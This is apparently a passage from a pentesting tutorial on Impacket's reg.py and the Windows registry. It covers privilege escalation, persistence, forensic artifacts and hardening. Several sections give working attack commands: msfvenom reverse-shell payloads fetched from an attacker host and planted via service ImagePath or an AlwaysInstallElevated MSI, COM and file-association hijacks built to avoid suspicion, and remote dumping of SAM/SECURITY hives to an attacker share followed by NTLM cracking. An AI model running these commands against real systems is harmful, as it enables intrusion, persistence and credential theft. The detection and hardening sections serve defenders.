Set-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NomeServizio" -AclObject $aclFrom Registry Editor: right click on the key → Permissions → same DACL in graphical form.
8.3 Weak Registry Permissions — Practical Exploitation #
MITRE ATT&CK: T1574.011 (Hijack Execution Flow: Services Registry Permissions Weakness). If a low-privileged user has write rights to a key Services running as SYSTEM, can hijack the execution of the service by modifying ImagePath.
List vulnerable keys:
With Sysinternals' AccessChk:
accesschk.exe /accepteula "authenticated users" -kvuqsw hklm\System\CurrentControlSet\servicesWith pure PowerShell:
Get-Acl -Path HKLM:\SYSTEM\CurrentControlSet\Services\<nomeservizio> | flWith PowerUp.ps1 (automate across the entire tree):
Import-Module .\PowerUp.ps1
Get-ModifiableRegistryAutoRunRemotely, before having a shell:
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto"Exploitation:
:: 1. Prepara un binario (in lab: reverse shell)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=8888 -f exe -o shell.exe
:: 2. Trasferiscilo sul target
powershell wget http://10.10.14.5/shell.exe -o C:\Users\Public\shell.exe
:: 3. Sovrascrivi ImagePath
reg add "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" /v ImagePath /t REG_EXPAND_SZ /d "C:\Users\Public\shell.exe" /f
:: 4. Riavvia il servizio
net start NomeServizioSospettoRemotely via reg.py directly:
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Services\NomeServizioSospetto" -v ImagePath -vt REG_EXPAND_SZ -vd "C:\Users\Public\shell.exe"This only works if you also have permission to start/restart the service, or if it restarts automatically (crash loop, reboot).
8.4 UAC, Restricted Admin and LocalAccountTokenFilterPolicy #
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemKey values: EnableLUA (UAC on/off), LocalAccountTokenFilterPolicy (if 1, a remote local admin gets full token instead of filtered — enables PsExec/WMI lateral movement with local accounts), FilterAdministratorToken.
Check the current status:
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"Enable bypass for lateral movement (in lab, to demonstrate the impact on a network with multiple local admins with the same password):
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -v LocalAccountTokenFilterPolicy -vt REG_DWORD -vd 1With this key to 1, a local admin (not the built-in Administrator, RID 500) authenticated via PsExec/WMI/SMB remotely gets a full token instead of a UAC-filtered one — a necessary condition for many pass-the-hash techniques on lateral movement.
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\DisableRestrictedAdminCheck whether RDP accepts Restricted Admin Mode (pass-the-hash via RDP) authentication.
Enable it to test pass-the-hash via RDP:
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" -v DisableRestrictedAdmin -vt REG_DWORD -vd 00 enable Restricted Admin Mode (the name is counterintuitive: “disable” a 0 means that restricted admin mode is NOT disabled, so it is active). With this active, xfreerdp /pth Authenticate via RDP using only the NTLM hash, never passing the password in clear text.
8.5 AlwaysInstallElevated #
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevatedIf both keys are at 1, any user can install packages .msi with SYSTEM privileges — one of the most straightforward and often forgotten escalations in hardening.
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -sActivate both keys to demonstrate escalation in the lab (in a real-world scenario, they should already exist, created by an admin by mistake—you don't create them on an authorized test target without reason):
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1
reg.py CORP/utente:Password1@10.10.10.5 add -keyName "HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer" -v AlwaysInstallElevated -vt REG_DWORD -vd 1Exploitation (with both at 1, a malicious MSI installs as SYSTEM even launched by a standard user):
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o payload.msi
msiexec /quiet /qn /i payload.msi9. COM Hijacking and File Association Hijacking #
9.1 COM Hijacking #
MITRE ATT&CK: T1546.015. The Component Object Model is the framework through which Windows programs exchange functionality. Each COM component is identified by a CLSID (GUID), mapped in the registry to a DLL (InprocServer32) or executable (LocalServer32).
HKCR\CLSID\{CLSID}\InprocServer32\(Default) = C:\Windows\System32\qualchecosa.dll
HKCR\CLSID\{CLSID}\ProgID = NomeLeggibile.ApplicationWhy it is exploitable: Windows fixes first HKCU\Software\Classes\CLSID and only after HKLM\Software\Classes\CLSID and a non-administrator user can create an entry under its HKCU that points to a legitimate CLSID, and Windows will use that — without elevated privileges.
# Verifica se un CLSID esiste già sotto HKCU (se manca, è "hijackable")
reg.py CORP/utente:Password1@10.10.10.5 query -keyName "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}"The CLSID {42aedc87-2188-41fd-b9a3-0c966feabec1} (MruPidlList) is among the most used in real campaigns because it is loaded by explorer.exe at every logon.
Exploitation:
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /ve /t REG_SZ /d "C:\Users\Public\payload.dll" /f
reg add "HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32" /v ThreadingModel /t REG_SZ /d "Both" /fCopy ThreadingModel exactly from the original HKLM registration, otherwise the activation breaks (visible crash).
Stealth variant — TreatAs: makes one CLSID be “treated” as another, less monitored than InprocServer32:
reg add "HKCU\Software\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\TreatAs" /ve /t REG_SZ /d "{00000001-0000-0000-0000-0000FEEDACDC}" /fDetection: monitor key creation below HKCU\Software\Classes\CLSID\* (Sysmon Event ID 13); a CLSID that should only exist in HKLM but appears in HKCU is a strong indicator; build a baseline (legitimate installs/updates modify COM regularly).
9.2 File Association Hijacking #
HKCR\<progid>\shell\open\commandExample: HKCR\txtfile\shell\open\command\(Default) = "%SystemRoot%\system32\NOTEPAD.EXE" "%1".
If this command is replaced, every double-click on that file type executes the payload — often the payload relaunches the original app to avoid raising suspicion (payload.exe "%1" → then invoke notepad).
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCR\txtfile\shell\open\command"Exploitation — Hijacks the opening of .txt files:
reg.py CORP/admin:Password123@10.10.10.5 add -keyName "HKCU\Software\Classes\txtfile\shell\open\command" -v "" -vt REG_SZ -vd 'C:\Users\Public\payload.exe "%1"'Note: write below HKCU\Software\Classes, Not HKCR directly — HKCR is a read-only view resulting from the merge of HKLM e HKCU\Software\Classes (See the hive table in section 1.) Windows resolves the HKCU version first, so even without admin privileges, your entry has priority. The payload receives the path to the original file as %1 and typically relaunches notepad after execution, so as not to arouse suspicion in the victim.
Critical case: extension association .exe same (HKCR\exefile\shell\open\command) — if altered, every executable launched by double-clicking passes through the payload, affecting the user's entire execution surface.
10. Remote Access: RDP, WinRM, LAPS #
Three remote access services, three keys to check before planning lateral movement or pass-the-hash:
| Service | Registry Key | What to check |
|---|---|---|
| RDP | HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp e ...\fDenyTSConnections | fDenyTSConnections a 0 = RDP enabled. UserAuthentication indicates whether NLA (Network Level Authentication) is needed |
| WinRM | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\Service | Whether it accepts Basic authentication (clear text over HTTP) or Kerberos/NTLM only — relevant on ports 5985/5986 |
| LAPS | HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS | If LAPS is configured — in combination with GetLAPSPassword Check if you have permission to read the rotated local password. |
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WinRM\Service"
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\LAPS"11. Forensics and DFIR — evidence of execution #
The log keeps track, often redundantly, of which programs were executed, when, and how many times. These artifacts are the heart of DFIR and also help determine if you've been preceded by another attacker.
11.1 ShellBags — Folder Navigation Traces #
They record details about every folder you open in Explorer, even if the folder or drive no longer exists.
C:\Users\<utente>\AppData\Local\Microsoft\Windows\UsrClass.datHKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\Bags
HKEY_CLASSES_ROOT\Local Settings\Software\Microsoft\Windows\Shell\BagMRUPractical point: remotely via reg.py you don't have a magic “HKCR” of the other user — it goes through HKU\<SID-utente>_Classes\..., the loaded view of UsrClass.dat of that specific user. If the SID does not have a profile _Classes Once loaded, the hive must be extracted offline from the disk file.
Practical use: reconstruct which shares/external drives the user has browsed, identify suspicious folders left by a previous attacker.
reg.py CORP/admin:Password123@10.10.10.5 save -keyName 'HKU\<SID-utente>_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU' -o '\\10.10.14.5\share\bagmru.save'Analysis with ShellBags Explorer (Eric Zimmerman tools).
11.2 UserAssist — GUI apps with execution counting #
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\CountTraces programs launched from the Explorer GUI, with execution counts and timestamps. Names encrypted with ROT13.
Two main GUIDs:
{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}— direct execution.exe{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}— execution through.lnk
function Decode-ROT13 {
param($string)
$string.ToCharArray() | ForEach-Object {
if ([char]::IsLetter($_)) {
$code = [int][char]$_
if (($code -ge 65 -and $code -le 77) -or ($code -ge 97 -and $code -le 109)) { $code += 13 } else { $code -= 13 }
[char]$code
} else { $_ }
} -join ''
}
Decode-ROT13 "abgrcnq.rkr" # -> notepad.exeLimitation: Only tracks GUI applications launched from Explorer. No command line, scripts, or scheduled tasks.
11.3 ShimCache (AppCompatCache) #
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache\AppCompatCacheRecords metadata (path, size, modification date) of any executable, even if it's just displayed in Explorer without being executed. Written on reboot/shutdown—a snapshot of the last pre-shutdown state. Can retain traces of a tool even after it's deleted from disk.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache" -sParsing with AppCompatCacheParser :
AppCompatCacheParser.exe -f SYSTEM --csv output_dir11.4 Amcache — the richest artifact #
C:\Windows\AppCompat\Programs\Amcache.hveSeparate hive (not a classic registry key). Contains path, publisher, first run timestamp, and SHA-1 hash —verifiable on VirusTotal. More reliable than ShimCache because it records the first boot in real time.
It is better to retrieve the file via SMB (smbclient.py) rather than save of reg.py, intended for keys in the standard tree.
Parsing with AmcacheParser :
AmcacheParser.exe -f Amcache.hve --csv output_dir11.5 BAM / DAM #
HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\<SID>
HKLM\SYSTEM\CurrentControlSet\Services\dam\UserSettings\<SID>Tracks recently run executables by user SID. Resets on reboot or after ~7 days —only useful for very recent activity, complementary to ShimCache/Amcache.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SYSTEM\CurrentControlSet\Services\bam\UserSettings\S-1-5-21-XXXX" -s11.6 RecentDocs, TypedPaths, TypedURLs, MRU #
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedURLsRecentDocs = evidence of accesso, non-execution. TypedPaths = paths typed in Explorer. TypedURLs = same for legacy IE/Edge.
| MRU Key | Track |
|---|---|
RunMRU (HKCU\...\Explorer\RunMRU) | Commands typed in Run (Win+R) — gold in an IR: cmd, powershell -enc, UNC paths remain here even after session closure |
OpenSaveMRU / LastVisitedMRU | Paths used in Open/Save windows, by application |
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"11.7 MountPoints2 — Mounting USB and Network Shares #
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2Any volume mounted by the current user: USB (GUID/serial), external drives, mapped shares. Combined with HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR (general enumeration) and HKLM\SYSTEM\MountedDevices (at machine level, seen in persistence), allows to correlate user-device-time.
11.8 Wi-Fi profiles — networks seen by the machine #
HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces\<GUID interfaccia>\ProfilesLists the SSIDs the machine has connected to over time, along with data such as timestamp and authentication type. The network password immense It's here in plain text: it's encrypted with DPAPI and lives in an XML file under C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\<GUID>\The log tells you “which networks,” not “with which password” — still useful for understanding where the machine has been (office, home, hotel) and whether it has ever connected to unsecured public networks.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKLM\SOFTWARE\Microsoft\WlanSvc\Interfaces" -s11.9 RDP Servers — Which machines the user connected to #
HKCU\Software\Microsoft\Terminal Server Client\ServersEach subkey is a hostname or IP that the user connected to with the RDP client (mstsc.exe). In a pentest, this tells you what other machines that user administers or uses regularly—often the first clue as to where to move laterally after compromising a privileged account.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Terminal Server Client\Servers" -sIf the user has enabled “remember my credentials” for one of those connections, the password is encrypted via DPAPI and lives in the Credential Manager (not in the registry), but the presence of the entry here confirms that that feature has been used at least once for that host.
11.10 Office — recent files (MRU Files) #
HKCU\Software\Microsoft\Office\<versione>\<applicazione>\File MRUConcrete example for Excel on Office 2016+:
HKCU\Software\Microsoft\Office\16.0\Excel\File MRULists the most recently opened files in each Office application, with full path—including files on network shares or locations that may no longer exist. This is useful because, in many companies, Excel spreadsheets or Word documents still contain credentials or sensitive data saved "temporarily": knowing which documents a user has recently opened indicates where to look for that type of information.
reg.py CORP/admin:Password123@10.10.10.5 query -keyName "HKCU\Software\Microsoft\Office\16.0\Excel\File MRU" -s12. Complete workflow: from reg.py to secretsdump, and cracking #
12.1 Dump local credentials #
# 1. Server SMB locale per ricevere le hive
smbserver.py -smb2support share ./loot
# 2. Backup delle hive dal target
reg.py CORP/admin:Password123@10.10.10.5 backup -o '\\10.10.14.5\share'
# 3. Estrazione offline, mai in chiaro sul target
secretsdump.py -sam ./loot/SAM.save -system ./loot/SYSTEM.save -security ./loot/SECURITY.save LOCALQuieter than launching secretsdump directly remotely in full mode.
12.2 Backup Operators Scenario (without being an admin) #
If your user is a member of Backup Operators but not local admin, you still have SeBackupPrivilege, which allows you to read SAM/SYSTEM/SECURITY while ignoring standard ACLs.
reg.py peter:'Password123'@10.10.10.5 backup -o '\\10.10.14.5\share'From the extracted hives, you can retrieve the machine hash or local users, and verify the machine account hash with wmiexec for lateral movement if the target is a domain controller.
12.3 From hashes to passwords: cracking #
Typical secretsdump output:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::Format utente:RID:hash-LM:hash-NTLM:::. Isolate the NTLM hash:
echo -n "8846f7eaee8fb117ad06bdd830b7586c" > hash.txtHashcat (mode 1000 = NTLM):
hashcat -m 1000 hash.txt wordlist.txtJohn the Ripper:
john --format=nt --wordlist=wordlist.txt hash.txtIf the LM hash is not aad3b435b51404eeaad3b435b51404ee (constant for “no LM password”), the old LM format is still active — crack it first, it reduces the search space for the corresponding NTLM as well.
With the password you obtained, check other services:
evil-winrm -i 10.10.10.5 -u Administrator -p 'PasswordTrovata'13. Detection, logging and hardening #
13.1 Detection and generated logs #
reg.py, like all Impacket scripts, leaves traces in the Event Logs:
- Event ID 5145 — access to the named pipe
\winreg - Event ID 4656/4658 — open/close handle on registry key
- Start/Stop Service RemoteRegistry if it was not active (Event ID 7036)
A massive query/save activity on the pipe \winreg from a host that does not normally do remote administration, followed by SMB traffic to the outside world, is a strong indicator of a credential dump in progress.
13.2 Defensive Hardening #
- Disable the service Remote Registry on hosts that do not need it operational
- Restrict access to
\winregmeansHKLM\SYSTEM\CurrentControlSet\Control\SecurePipeServers\winreg\AllowedPaths - Tax
LocalAccountTokenFilterPolicya0(default) to avoid lateral movement with shared local admins - Delete
AlwaysInstallElevatedfrom HKLM and HKCU - Tax
UseLogonCredentiala0in WDigest (modern default, checks on legacy hosts) - Enable
RunAsPPLto protect LSASS, and Credential Guard where the hardware supports it - Monitor Event ID 5145 on
\winregwith SIEM alerting for anomalous accesses - Apply least privilege on Backup Operators — equivalent to a path to Domain Admin when combined with
SeBackupPrivilege - Periodically audit the ACLs below
HKLM\SYSTEM\CurrentControlSet\Serviceswith AccessChk or PowerUp - Don't install custom services with too broad inherited permissions
- Treat ShellBags as sensitive data in an IR: they show which shares/disks the attacker has explored
14. Operational checklist #
- Check SMB/445 access and available credentials (password, hash, ticket)
- First enumerate the machine's identity (OS, computer name, network)
- Preliminary query on configuration keys (WDigest, RunAsPPL, AlwaysInstallElevated, LocalAccountTokenFilterPolicy, RestrictedAdmin)
- Check ACLs on keys
Serviceswith Get-Acl if you are looking for local privesc - Check for suspicious IFEO and COM registrations if the target has already shown signs of compromise
- If you need to dump credentials: run local smbserver.py, then
reg.py backup - Analyze hives offline with secretsdump — include LSA secrets and cached domain credentials, not just SAM
- If relevant, extract ShellBags, UserAssist, ShimCache/Amcache to reconstruct historical activity
- Document every key changed with
add/deletefor post-test recovery - Report missing hardening keys, not just extracted credentials
FAQ #
Does reg.py run without administrator privileges?
For queries on unprotected keys yes, but for SAM/SECURITY elevated privileges are required or SeBackupPrivilege.
Is it detectable by an EDR?
SMB/RPC traffic to \winreg It is visible at the network and Event Log levels; a modern EDR with rules regarding access to sensitive hives will flag it.
What is the difference between save and backup?
save export a single key of your choice, backup It is dedicated to SAM+SYSTEM+SECURITY in a single call.
Is it necessary to install Impacket on the target? No, reg.py runs on the attacker's machine and communicates over the network with the native Windows Remote Registry service.
What's the difference between HKCU and HKU? HKCU is the HKCU of the user you're logged in with; HKU contains the profiles of all logged in users, indexed by SID.
What's the difference between DCC2 and an NTLM hash? An NTLM hash can be used for pass-the-hash; DCC2 cannot—it's only used to verify a typed password offline; it must be cracked.
Does ShimCache prove that a file was executed? Not by itself: it can log a file even if it's just been viewed in Explorer. It needs to be cross-referenced with Amcache, Prefetch, or Event Log.
When should you NOT use reg.py?
If you already have an interactive SYSTEM shell, reg.exe Native or direct PowerShell are faster and generate less observable traffic; reg.py makes sense for remote operation without a shell.
Are weak registry permissions common in real-world environments? Less so than in the past, but they are common on custom third-party services (management software, monitoring agents) without explicit ACLs during setup.
Cheat Sheet — summary table of the keys covered #
| Registry key | Use | Technique / Reference |
|---|---|---|
HKLM\SAM | Local Account NTLM Hashes | T1003.002 |
C:\Windows\System32\config\SAM via Shadow Copy | Dump SAM without admin privileges | CVE-2021-36934 (HiveNightmare) |
HKLM\SECURITY\Policy\Secrets | Service account pw, DPAPI_SYSTEM, NL$KM | T1003.004 |
HKLM\SECURITY\Cache | Domain Cached Credentials (DCC2) | mscash2, hashcat -m 2100 |
HKLM\SYSTEM\...\Lsa\JD\GBG\Skew1\Data | Boot key/syskey components | Offline SAM decryption |
...\Winlogon (DefaultUserName/Password/DomainName) | Autologon in clear | Direct access credentials |
...\Control\SecurityProviders\WDigest\UseLogonCredential | Clear text password in LSASS | T1003.001 |
...\Control\Lsa\RunAsPPL | LSASS Protection (PPL) | Credential Dump Mitigation |
...\Control\DeviceGuard / Lsa\LsaCfgFlags | Credential Guard (VBS) | Hardware isolation credentials |
...\Policies\System\LocalAccountTokenFilterPolicy | Remote UAC token filtering | Lateral movement with local admins |
...\Control\Lsa\DisableRestrictedAdmin | RDP Restricted Admin Mode | Pass-the-hash via RDP |
...\Policies\...\Installer\AlwaysInstallElevated (HKLM+HKCU) | Install MSI as SYSTEM | Immediate Privesc |
...\CurrentVersion\Run / RunOnce / Policies\Explorer\Run | Classic Autorun | T1547.001 |
...\Control\Session Manager\BootExecute | Run at pre-desktop boot | T1547.001 (variant) |
...\Windows\AppInit_DLLs + LoadAppInit_DLLs | DLL injection in every GUI process | Deprecated, to be verified |
...\Control\Session Manager\AppCertDlls | DLL injection on each CreateProcess | Advanced persistence |
...\Winlogon\Userinit / Shell | Hijack user session at logon | T1547.004 |
...\Explorer\StartupApproved\Run | Real Autorun Approval Status | Active Entry Verification |
...\Microsoft\Active Setup\Installed Components | Execution on first user login | Per-user persistence |
SYSTEM\CurrentControlSet\Services\<nome> | Config Services, ImagePath | T1574.011 (weak ACL) |
...\Image File Execution Options\<processo> | Hijack debugger | T1546.012 |
...\SilentProcessExit\<processo> | Trigger on process termination | T1546.012 (variant) |
HKCU\...\CLSID\{...}\InprocServer32 / TreatAs | COM Hijacking | T1546.015 |
HKCR\<progid>\shell\open\command | File Association Hijacking | Execution on file opening |
HKU, HKCU | User profiles (active vs. all) | Multi-user enumeration |
HKLM\SOFTWARE\Wow6432Node | 32-bit process log view | Registry Redirector |
...\Explorer\UserAssist\{GUID}\Count | GUI Execution (ROT13) | Evidence of execution |
...\Control\Session Manager\AppCompatCache | ShimCache | Evidence of execution |
%SystemRoot%\AppCompat\Programs\Amcache.hve | Amcache (with SHA-1) | Evidence of execution |
...\Services\bam\UserSettings\<SID> | BAM/DAM (recent activity) | It resets in ~7 days |
...\Explorer\RecentDocs / TypedPaths / TypedURLs | Recent user activity | Evidence of access |
HKCU\...\MountPoints2 / HKLM\SYSTEM\MountedDevices | Mounted devices/volumes | USB forensics |
...\Explorer\RunMRU | Commands typed in Run | DFIR, shell/UNC commands |
UsrClass.dat → Shell\Bags / BagMRU | ShellBags — Folder Navigation | File system access forensics |
Conclusion #
REG.PY is a compact yet central tool in every advanced phase of a penetration test on Windows and Active Directory environments : from reconning weak configurations to dumping credentials to verifying persistence. Knowing the most important registry keys by heart is as valuable as knowing the tool itself: it's this knowledge that can transform a simple SMB access into a complete assessment of system security during authorized activity.
The Windows Registry is one of the most important components of the Windows operating system, and understanding how it works is essential for Red Teamers , Blue Team professionals , DFIR analysts , and system administrators. Through REG.PY, we explored enumeration, remote administration, persistence, forensics, and registry configuration techniques, highlighting not only the tool's capabilities but also related defensive countermeasures and detection methodologies.
For a deeper dive into the entire Windows and Active Directory security testing toolchain, also check out the articles on SecretsDump , Rubeus , and Credential Dumping.
Disclaimer: All information, examples, and techniques illustrated in this article are published solely for information security education, training, and research purposes . Any activity should be performed only on systems you own or for which you have explicit authorization . Improper use of the knowledge described may violate applicable laws and cause harm to individuals or organizations. Hackita does not encourage or support unauthorized or illegal activities and disclaims any responsibility for any improper use of the published content.








